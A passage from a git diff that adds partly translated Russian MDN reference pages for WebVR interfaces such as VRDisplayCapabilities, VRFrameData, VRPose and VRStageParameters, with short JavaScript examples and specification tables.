+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestpresent', 'requestPresent()')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay.requestPresent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html
new file mode 100644
index 0000000000..7de0300c2f
--- /dev/null
+++ b/files/ru/web/api/vrdisplaycapabilities/hasposition/index.html
@@ -0,0 +1,50 @@
+---
+title: VRDisplayCapabilities.hasPosition
+slug: Web/API/VRDisplayCapabilities/hasPosition
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayCapabilities/hasPosition
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>hasPosition</code></strong> read-only property of the {{domxref("VRDisplayCapabilities")}} interface returns a {{domxref("Boolean")}} stating whether the VR display can track and return position information.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var hasItGotPosition = vrDisplayCapabilitiesInstance.<code>hasPosition</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("Boolean")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplayCapabilities", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplaycapabilities-hasposition', 'hasPosition')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplayCapabilities.hasPosition")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a>.</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplaycapabilities/index.html b/files/ru/web/api/vrdisplaycapabilities/index.html
new file mode 100644
index 0000000000..0bc9f13cdf
--- /dev/null
+++ b/files/ru/web/api/vrdisplaycapabilities/index.html
@@ -0,0 +1,76 @@
+---
+title: VRDisplayCapabilities
+slug: Web/API/VRDisplayCapabilities
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayCapabilities
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс <strong>VRDisplayCapabilities</strong> WebVR API описывает возможности {{domxref ("VRDisplay")}} - его функции можно использовать для тестирования возможностей устройства Виртуальной Реальности (VR), например, он может возвращать информацию о местоположении.</p>
+
+<p>Данный интерфейс доступен в свойстве {{domxref ("VRDisplay.capabilities")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplayCapabilities.canPresent")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, способен ли дисплей VR представлять контент (например, через HMD - Наголовный дисплей).</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasExternalDisplay")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, является ли дисплей VR отдельным от основного дисплея устройства.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasOrientation")}} {{deprecated_inline()}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию об ориентации в пространстве .</dd>
+ <dt>{{domxref("VRDisplayCapabilities.hasPosition")}} {{readonlyInline}}</dt>
+ <dd>Возвращает параметр {{domxref ("Boolean")}}, указывающий, может ли дисплей VR отслеживать и возвращать информацию о положении.</dd>
+ <dt>{{domxref("VRDisplayCapabilities.maxLayers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает число, указывающее максимальное значение {{domxref ("VRLayer")}}, которое дисплей VR может представить одновременно (например, максимальную длину массива, который {{domxref ("VRDisplay.requestPresent ()")}} может принять.)</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+    for(var i = 0; i &lt; displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;Display ' + (i+1) + '&lt;/strong&gt;'
+                   + '&lt;br&gt;VR Display ID: ' + displays[i].displayId
+                   + '&lt;br&gt;VR Display Name: ' + displays[i].displayName
+                   + '&lt;br&gt;Display can present content: ' + cap.canPresent
+                   + '&lt;br&gt;Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '&lt;br&gt;Display can return position info: ' + cap.hasPosition
+                   + '&lt;br&gt;Display can return orientation info: ' + cap.hasOrientation
+                   + '&lt;br&gt;Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+  });
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplaycapabilities', 'VRDisplayCapabilities')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Режим_совместимости_браузера">Режим совместимости браузера</h2>
+
+<p>{{Compat("api.VRDisplayCapabilities")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplayevent/display/index.html b/files/ru/web/api/vrdisplayevent/display/index.html
new file mode 100644
index 0000000000..318bd97188
--- /dev/null
+++ b/files/ru/web/api/vrdisplayevent/display/index.html
@@ -0,0 +1,49 @@
+---
+title: VRDisplayEvent.display
+slug: Web/API/VRDisplayEvent/display
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayEvent/display
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}<br>
+ Cвойство  <strong><code>display</code></strong>только для чтения интерфейса {{domxref ("VRDisplayEvent")}} возвращает параметр {{domxref ("VRDisplay")}}, связанный с этим событием.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myDisplay = vrDisplayEventInstance.display;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{domxref("VRDisplay")}} object.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRDisplayEvent", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplayeventinit-display', 'display')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRDisplayEvent.display")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы,материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html
new file mode 100644
index 0000000000..8b8c2bee90
--- /dev/null
+++ b/files/ru/web/api/vrdisplayevent/index.html
@@ -0,0 +1,63 @@
+---
+title: VRDisplayEvent
+slug: Web/API/VRDisplayEvent
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRDisplayEvent
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс VRDisplayEvent API WebVR представляет объект  событий, связанных с WebVR (Подробнее - см. Список расширений окна WebVR)</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplayEvent.VRDisplayEvent()")}}</dt>
+ <dd>Создает экземпляр объекта VRDisplayEvent.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>VRDisplayEvent</code> также наследует свойства от своего родительского объекта, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("VRDisplayEvent.display")}} {{readonlyInline}}</dt>
+ <dd> {{domxref("VRDisplay")}} связанный с этим событием.</dd>
+ <dt>{{domxref("VRDisplayEvent.reason")}} {{readonlyInline}}</dt>
+ <dd>Определяемая человеческим фактором причина, по которой произошло событие.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+})
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplayEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрации, загружаемые материалы и другие ресурсы команды the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html
new file mode 100644
index 0000000000..5fe9d79079
--- /dev/null
+++ b/files/ru/web/api/vrframedata/index.html
@@ -0,0 +1,66 @@
+---
+title: VRFrameData
+slug: Web/API/VRFrameData
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRFrameData
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Интерфейс VRFrameData API WebVR представляет всю информацию, необходимую для визуализации одного кадра сцены Виртуальной реальности; сконструирован с помощью {{domxref ("VRDisplay.getFrameData ()")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("VRFrameData.VRFrameData()")}}</dt>
+ <dd>Создает экземпляр объекта VRFrameData.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("VRFrameData.leftProjectionMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга левого глаза.</dd>
+ <dt>{{domxref("VRFrameData.leftViewMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для левого глаза.</dd>
+ <dt>{{domxref("VRFrameData.pose")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("VRPose")}} {{domxref ("VRDisplay")}} в текущем {{domxref ("VRFrameData.timestamp")}}.</dd>
+ <dt>{{domxref("VRFrameData.rightProjectionMatrix")}} {{readonlyInline}}</dt>
+ <dd>Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга для правого глаза.</dd>
+ <dt>{{domxref("VRFrameData.rightViewMatrix")}} {{readonlyInline}}</dt>
+ <dd>{{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для правого глаза.</dd>
+ <dt>{{domxref("VRFrameData.timestamp")}} {{readonlyInline}}</dt>
+ <dd>Постоянно увеличивающееся значение отметки времени, представляющее время, когда произошло обновление кадра.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRFrameData")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные материалы, материалы доступные для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrpose/index.html b/files/ru/web/api/vrpose/index.html
new file mode 100644
index 0000000000..8e09aaf928
--- /dev/null
+++ b/files/ru/web/api/vrpose/index.html
@@ -0,0 +1,77 @@
+---
+title: VRPose
+slug: Web/API/VRPose
+tags:
+  - API
+  - Experimental
+  - Landing
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRPose
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRPose
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRPose</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents the state of a VR sensor at a given timestamp (which includes orientation, position, velocity, and acceleration information.)</p>
+
+<p>This interface is accessible through the {{domxref("VRDisplay.getPose()")}} and {{domxref("VRDisplay.getFrameData()")}} methods. {{domxref("VRDisplay.getPose()")}} is deprecated.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRPose.position")}} {{readonlyInline}}</dt>
+ <dd>Returns the position of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}} as a 3D vector</dd>
+ <dt>{{domxref("VRPose.linearVelocity")}} {{readonlyInline}}</dt>
+ <dd>Returns the linear velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second.</dd>
+ <dt>{{domxref("VRPose.linearAcceleration")}} {{readonlyInline}}</dt>
+ <dd>Returns the linear acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.</dd>
+ <dt>{{domxref("VRPose.orientation")}} {{readonlyInline}}</dt>
+ <dd>Returns the orientation of the sensor at the current {{domxref("VRPose.timestamp")}}, as a quarternion value.</dd>
+ <dt>{{domxref("VRPose.angularVelocity")}} {{readonlyInline}}</dt>
+ <dd>Returns the angular velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in radians per second.</dd>
+ <dt>{{domxref("VRPose.angularAcceleration")}} {{readonlyInline}}</dt>
+ <dd>Returns the angular acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("VRPose.timeStamp")}} {{readonlyInline}} {{obsolete_inline}}</dt>
+ <dd>Returns the current time stamp of the system — a monotonically increasing value useful for determining if position data has been updated, and what order updates have occured in. <strong>This version of <code>timestamp</code> has been removed from the spec — instead, timestamps are now returned when {{domxref("VRDisplay.getFrameData()")}} is called — see {{domxref("VRFrameData.timestamp")}}.</strong></dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrpose', 'VRPose')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRPose")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrpose/position/index.html b/files/ru/web/api/vrpose/position/index.html
new file mode 100644
index 0000000000..2db5c476d2
--- /dev/null
+++ b/files/ru/web/api/vrpose/position/index.html
@@ -0,0 +1,68 @@
+---
+title: VRPose.position
+slug: Web/API/VRPose/position
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRPose/position
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Постоянное свойство <strong>position</strong> (только для чтения) интерфейса {{domxref ("VRPose")}} возвращает позицию {{domxref ("VRDisplay")}} в текущем {{domxref ("VRPose.timestamp")}} как 3D вектор.</p>
+
+<p>Система координат выглядит следующим образом:</p>
+
+<ul>
+ <li>Положительное значение X - справа от пользователя.</li>
+ <li>Положительное значение Y - сверху.</li>
+ <li>Положительное значение Z - позади от пользователя.</li>
+</ul>
+
+<p>Местоположения измеряются в метрах от исходной точки - эта точка является либо положением, в котором датчик был впервые считан, либо положением датчика в точке, которую {{domxref ("VRDisplay.resetPose ()")}} в последний раз вызывали.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: По умолчанию все позиции даны как имеющие горизонтальное расположение. Преобразование этой точки с помощью параметра {{domxref ("VRStageParameters.sittingToStandingTransform")}} - например, когда вы работаете с дисплеем комнаты - преобразует это в вертикальное расположение.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var myPosition = VRPose.position;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Значение (типа Float)  {{domxref("Float32Array")}}, или ноль, если датчик VR не может предоставить данные о местоположении.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Пользовательские агенты могут предоставлять эмулированные значения положения с помощью таких методов, как моделирование шеи; при этом они все равно должны сообщать параметр {{domxref ("VRDisplayCapabilities.hasPosition")}} как ложные.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrpose-position', 'position')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{Compat("api.VRPose.position")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — дeмонстрационные, материалы для загрузки и другие ресурсы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/index.html b/files/ru/web/api/vrstageparameters/index.html
new file mode 100644
index 0000000000..1b44ab613c
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/index.html
@@ -0,0 +1,80 @@
+---
+title: VRStageParameters
+slug: Web/API/VRStageParameters
+tags:
+  - API
+  - Experimental
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRStageParameters
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRStageParameters
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRStageParameters</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents the values describing the the stage area for devices that support room-scale experiences.</p>
+
+<p>This interface is accessible through the {{domxref("VRDisplay.stageParameters")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRStageParameters.sittingToStandingTransform")}} {{readonlyInline}}</dt>
+ <dd>Contains a matrix that transforms the sitting-space view matrices of {{domxref("VRFrameData")}} to standing-space.</dd>
+ <dt>{{domxref("VRStageParameters.sizeX")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the w</dfn>idth of the play-area bounds in meters.</dd>
+ <dt>{{domxref("VRStageParameters.sizeY")}} {{readonlyInline}}</dt>
+ <dd><dfn>Returns the depth</dfn> of the play-area bounds in meters.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var info = document.querySelector('p');
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  var stageParams = vrDisplay.stageParameters;
+  // stageParams is a VRStageParameters object
+
+  if(stageParams === null) {
+    info.textContent = 'Your VR Hardware does not support room-scale experiences.'
+  } else {
+    info.innerHTML = '&lt;strong&gt;Display stage parameters&lt;/strong&gt;'
+                 + '&lt;br&gt;Sitting to standing transform: ' + stageParams.sittingToStandingTransform
+                 + '&lt;br&gt;Play area width (m): ' + stageParams.sizeX
+                 + '&lt;br&gt;Play area depth (m): ' + stageParams.sizeY
+  }
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrstageparameters', 'VRStageParameters')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRStageParameters")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html
new file mode 100644
index 0000000000..0443350c6f
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sittingToStandingTransform
+slug: Web/API/VRStageParameters/sittingToStandingTransform
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sittingToStandingTransform
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Постоянное свойство <strong><code>sittingToStandingTransform</code></strong> (read-only, только для чтения ) интерфейса {{domxref("VRStageParameters")}} содержит матрицу, которая преобразует матрицы горизонтального вида {{domxref("VRFrameData")}} в вертикальный.</p>
+
+<p>В основном, это может быть передано в ваш кроссплатформенный WebGL-код для преобразования визуализированного вида из горизонтального в вертикальный.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="brush: js">var myTransform = vrStageParametersInstance.<code>sittingToStandingTransform</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>16-значный элемент {{domxref ("Float32Array")}}, содержащий компоненты матрицы преобразования вида 4 × 4.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sittingtostandingtransform', 'sittingToStandingTransform')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Режим_совместимости_браузера">Режим совместимости браузера</h2>
+
+<p>{{Compat("api.VRStageParameters.sittingToStandingTransform")}}</p>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, доступные для загрузки и другие материалы команды Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sizex/index.html b/files/ru/web/api/vrstageparameters/sizex/index.html
new file mode 100644
index 0000000000..adf67b2acf
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sizex/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sizeX
+slug: Web/API/VRStageParameters/sizeX
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sizeX
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Неизменяемое свойство <strong>sizeX</strong> (только для чтения) интерфейса "VRStageParameters" возвращает ширину границ игровой зоны в метрах.</p>
+
+<p>В целях безопасности границы определяются как прямоугольник, ориентированный по оси основания. Контент не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке  с координатами (0,0,0). </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mySizeX = vrStageParametersInstance.<code>sizeX</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Параметр типа float, представляющий ширину в метрах..</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizex', 'sizeX')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRStageParameters.sizeX")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демонстрационные, материалы для загрузки и другие ресурсы команды   Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrstageparameters/sizey/index.html b/files/ru/web/api/vrstageparameters/sizey/index.html
new file mode 100644
index 0000000000..43e908e20e
--- /dev/null
+++ b/files/ru/web/api/vrstageparameters/sizey/index.html
@@ -0,0 +1,52 @@
+---
+title: VRStageParameters.sizeY
+slug: Web/API/VRStageParameters/sizeY
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/VRStageParameters/sizeY
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство (параметр) <strong>sizeY</strong> только для чтения интерфейса {{domxref ("VRStageParameters")}} возвращает глубину границ игровой площадки в метрах.</p>
+
+<p>В целях безопасности границы определяются как прямоугольник, ориентированный по оси на полу.. Контент (содержимое) не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке (0,0,0) в координатах замкнутого пространства.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var mySizeY = vrStageParametersInstance.<code>sizeY</code>;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Параметр типа <strong>float</strong>, представляющий глубину в метрах.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>{{page("/Web/API/VRStageParameters", "Examples")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizey', 'sizeY')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
